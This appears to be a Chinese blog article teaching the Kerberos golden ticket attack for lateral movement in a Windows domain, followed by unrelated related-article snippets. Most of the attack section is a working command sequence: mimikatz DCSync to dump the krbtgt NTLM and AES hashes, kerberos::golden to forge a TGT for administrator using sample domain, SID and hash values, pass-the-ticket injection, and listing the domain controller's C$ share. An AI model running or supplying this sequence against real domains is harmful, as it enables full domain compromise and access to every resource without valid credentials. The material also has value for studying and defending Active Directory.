黄金票据攻击

黄金票据攻击——域内横向移动技术

一、黄金票据攻击介绍:

黄金票据攻击是一种滥用Kerberos身份认证协议的攻击方式,它允许攻击者伪造域控krbtgt用户的TGT(Ticket-Granting Ticket)。通过这种方法,攻击者可以生成有效的TGT Kerberos票据,且这些票据不受TGT生命周期的影响(TGT默认生命周期为10小时,最多可续订7天)。因此,攻击者能够访问网络中的任何资源,而无需知道任何有效用户的账户凭据。

具体来说,黄金票据攻击可以为任意用户生成TGT票据,这意味着攻击者甚至可以为域管理员生成TGT,从而使普通用户获得域管理员的权限。这种攻击方式利用了Kerberos中的一个漏洞,使得攻击者能够绕过系统控制机制,直接访问目标系统的所有资源。

在实施攻击时,攻击者通常会在目标主机上运行恶意软件或使用其他恶意攻击手段,通过收集系统中存在的凭证或使用暴力破解等方式获取有效TGT凭证。在Windows系统中,攻击者还可以利用已获得的权限或漏洞进行票据提权,进一步提升自己的权限并获取黄金票据。

二、黄金票据的制作条件

  1. 域名称:需要知道目标网络的域名称,这是Kerberos协议进行身份验证的基础。

  2. 域的SID:SID(安全标识符)是唯一的,用于标识Windows操作系统中的安全主体(如用户账户、组账户等)。制作黄金票据需要知道目标域的SID。

  3. 域控的Krbtgt账户的密码hash值:Krbtgt是Kerberos认证服务中的账户,用于发放TGT(票据授权票据)。攻击者需要获取该账户的密码hash值,才能伪造有效的TGT。这通常需要在攻击者已经具有活动域管理员权限的情况下完成,因为Krbtgt账户的密码hash值存储在域控制器上。

  4. 任意域用户名:为了伪造有效的TGT,攻击者还需要一个域内的用户名。这样,伪造的TGT将看似是由该用户发出的。

三、制作黄金票据,即伪造TGT

1、获取Krbtgt的hash
首先以管理员权限,在域控制器上执行mimikatz命令:
privilege::debug
lsadump::dcsync /user:krbtgt

记录Krbtgt用户的以下信息:
Hash NTLM: 4c32d497137ce2fbc28c297e73a87889
aes256_hmac: 414818be77de302b3801226cfe04599fb9aabfe114231a29d1386ee4d6507067

2、域sid
在普通域成员机器上,使用 “whoami /user” 获取。

记录普通域用户id信息:
student01:S-1-5-21-3792756393-3386897061-2081858749

3、域账户
域账户:student01

4.域名
在普通域成员机器上,使用 “systeminfo” 获取。

记录域名:college.com

制作黄金票据所需内容

Hash NTLM:4c32d497137ce2fbc28c297e73a87889
域名:college.com
域账户:student01
域sid:S-1-5-21-3792756393-3386897061-2081858749

使用mimikatz制作黄金票据

在获取上面信息后,使用mimikatz工具生成黄金票据(普通域用户权限即可制作),过程如下:

1、查看当前票据
kerberos::list

2、清空票据 #防止之前的票据对新作的票据产生影响
kerberos::purge

3、制作黄金票据 /admin:用户名任意 /ticket:票据名称任意即可
kerberos::golden /admin:administrator /domain:college.com /sid:S-1-5-21-3792756393-3386897061-2081858749 /krbtgt:4c32d497137ce2fbc28c297e73a87889 /ticket:ticket.kirbi

会在当前目录下生成黄金票据:

4、导入黄金票据
kerberos::ptt ticket.kirbi
kerberos::list

5、在普通域用户机器上,重新打开cmd窗口,可以直接列出域控目录
dir \dc.college.com\c$

6、使用aes256也可以制作黄金票据。
原理和上面的是一样的,只是hash不同而已。
kerberos::golden /domain:school.com /sid:S-1-5-21-2236738896-1661306322-1924668396 /aes256:87d3913d6cb96fef6fcc7a616ee33625bec4b8cffc7a2efa7f177541dd7d3d9c /user:hello /ticket:aes256.kirbi

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/295490.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FMECA应该如何开展——FMEA软件

免费试用FMEA软件-免费版-SunFMEA FMECA,全称为故障模式、影响及危害性分析(Failure Modes, Effects, and Criticality Analysis),是一种在工程和可靠性领域广泛应用的分析方法。它的主要目的是识别产品、系统或过程中潜在的故障…

C语言第三十九弹---预处理(上)

✨个人主页: 熬夜学编程的小林 💗系列专栏: 【C语言详解】 【数据结构详解】 预处理 1、预定义符号 2、#define定义常量 3、#define定义宏 4、带有副作用的宏参数 5、宏替换的规则 6、宏和函数的对比 总结 在C语言中,预处…

Linux系统下安装jdk与tomcat【linux】

一、yum介绍 linux下的jdk安装以及环境配置,有两种常用方法: 1.使用yum一键安装。 2.手动安装,在Oracle官网下载好需要的jdk版本,上传解压并配置环境。 这里介绍第一种方法,在此之前简单了解下yum。 yum 介绍 yum&…

C++的并发世界(四)——线程传参

1.全局函数作为传参入口 #include <iostream> #include <thread> #include <string>void ThreadMain(int p1,float p2,std::string str) {std::cout << "p1:" << p1 << std::endl;std::cout << "p2:" <<…

LeetCode 热题 100 | 动态规划(一)

目录 1 70. 爬楼梯 1.1 基本思路 1.2 官方题解 2 118. 杨辉三角 3 198. 打家劫舍 菜鸟做题&#xff0c;语言是 C 1 70. 爬楼梯 核心思想&#xff1a;把总问题拆解为若干子问题。 总问题&#xff1a;上到 5 楼的方式有多少种子问题&#xff1a;上到 4 楼的方式有多…

知识图谱简介:探索知识的宇宙

知识图谱简介&#xff1a;探索知识的宇宙 一、引言 在这个由数据驱动的世界里&#xff0c;信息呈现出爆炸式的增长&#xff0c;人们对于管理和利用这些庞大数据量的需求也随之增长。知识图谱以其独特的方式&#xff0c;成为了整合和利用这些信息的有力工具。它不仅有助于组织杂…

STM32应用开发——使用PWM+DMA驱动WS2812

STM32应用开发——使用PWMDMA驱动WS2812 目录 STM32应用开发——使用PWMDMA驱动WS2812前言1 硬件介绍1.1 WS2812介绍1.1.1 芯片简介1.1.2 引脚描述1.1.3 工作原理1.1.4 时序1.1.5 传输协议 1.2 电路设计 2 软件编程2.1 软件原理2.2 测试代码2.2.1 底层驱动2.2.2 灯效应用 2.3 运…

Linux_进程的优先级环境变量上下文切换

文章目录 一、进程的优先级二、进程的四个重要概念三、上下文切换四、环境变量4.1 查看当前shell环境下的环境变量与内容 一、进程的优先级 什么是优先级&#xff1f; 指定一个进程获取某种资源的先后顺序本质是进程获取cpu资源的优先顺序 为什么要有优先级 进程访问的资源&am…

【Entity Framework】EF日志-简单日志记录

【Entity Framework】EF日志-简单日志记录 文章目录 【Entity Framework】EF日志-简单日志记录一、概述二、EF日志分类三、简单的日志记录3.1 配置3.2 日志记录到控制台3.3 记录到凋试窗口3.4 记录到文件3.5 敏感数据处理3.6 详细查询异常3.6 日志级别3.7 消息内容和格式设置 一…

基于Scala开发Spark ML的ALS推荐模型实战

推荐系统&#xff0c;广泛应用到电商&#xff0c;营销行业。本文通过Scala&#xff0c;开发Spark ML的ALS算法训练推荐模型&#xff0c;用于电影评分预测推荐。 算法简介 ALS算法是Spark ML中实现协同过滤的矩阵分解方法。 ALS&#xff0c;即交替最小二乘法&#xff08;Alte…

Java SpringBoot中优雅地判断一个对象是否为空

在Java中&#xff0c;可以使用以下方法优雅地判断一个对象是否为空&#xff1a; 使用Objects.isNull()方法判断对象是否为空&#xff1a; import java.util.Objects;if (Objects.isNull(obj)) {// obj为空的处理逻辑 }使用Optional类优雅地处理可能为空的对象&#xff1a; impo…

Centos8/linux/虚拟机安装docker

docker分为ce版和ee版&#xff0c;个人使用ce版就行了&#xff0c;别问为什么&#xff0c;问就是ee版收费。 这是在线版的&#xff0c;离线版的请参考Centos8离线下载安装docker 1.首先切换到root用户 2.为确保安装时出现不必要的问题&#xff0c;先更新一下yum包 sudo yum…

Mac上Matlab_R2023b ARM 版 启动闪退(意外退出)解决方法

安装好后&#xff0c;使用 "libmwlmgrimpl.dylib" 文件替换掉"/Applications/Matlab_R2023b.app/bin/maca64/matlab_startup_plugins/lmgrimpl"文件夹下的同名文件 在终端下执行如下命令&#xff1a; codesign --verbose --force --deep -s - /Applicat…

大数据学习第十二天(hadoop概念)

1、服务器之间数据文件传递 1&#xff09;服务器之间传递数据&#xff0c;依赖ssh协议 2&#xff09;http协议是web网站之间的通讯协议&#xff0c;用户可已通过http网址访问到对应网站数据 3&#xff09;ssh协议是服务器之间&#xff0c;或windos和服务器之间传递的数据的协议…

golang和Java的简单介绍和对比

一、golang 1、Golang简介 Golang&#xff0c;也称为Go&#xff0c;是由Google公司在2009年推出的开源编程语言&#xff0c;由罗伯特格瑞史莫(Rob Pike)、肯汤普逊(Ken Thompson)、罗勃派克(Robert Griesemer)等人设计。Go语言的目标是在保持简单高效的编程模型的同时&#xf…

Linux系统----------探索mysql数据库MHA高可用

目录 一、MHA概述 1.1 什么是 MHA 1.2MHA 的组成 1.2.1MHA Node&#xff08;数据节点&#xff09; 1.2.2MHA Manager&#xff08;管理节点&#xff09; 1.3MHA 的特点 1.4MHA工作原理 1.5数据同步的方式 1.5.1同步复制 1.5.2异步复制 1.5.3半同步复制 二、搭建 MySQ…

ios 之 netty版本swiftNio(TLSHandler 创建)

SwiftNio 简介 用于高性能协议服务器和客户端的事件驱动、无阻塞的网络应用程序框架。 SwiftNIO是一个跨平台异步事件驱动的网络应用程序框架&#xff0c;用于快速开发可维护的高性能协议服务器和客户端。 这就像Netty&#xff0c;但是为Swift写的。 Xcode引入swiftNio 在实…

蓝桥杯第八届c++大学B组详解

目录 1.购物单 2.等差素数列 3.承压计算 4.方格分割 5.日期问题 6.包子凑数 7.全球变暖 8.k倍区间 1.购物单 题目解析&#xff1a;就是将折扣字符串转化为数字&#xff0c;进行相加求和。 #include<iostream> #include<string> #include<cmath> usin…

git源码泄露

Git 源码泄露 开发人员会使用 git 进行版本控制&#xff0c;对站点自动部署。但如果配置不当&#xff0c;可能会将 .git 文件夹直接部署到线上环境&#xff0c;这就引起了 git 泄露漏洞&#xff0c;我们可以利用这个漏洞直接获得网页源码。 确定是否存在泄漏 &#xff08;1&…

自动驾驶的世界模型:综述

自动驾驶的世界模型&#xff1a;综述 附赠自动驾驶学习资料和量产经验&#xff1a;链接 24年3月澳门大学和夏威夷大学的论文“World Models for Autonomous Driving: An Initial Survey”。 在快速发展的自动驾驶领域&#xff0c;准确预测未来事件并评估其影响的能力对安全性…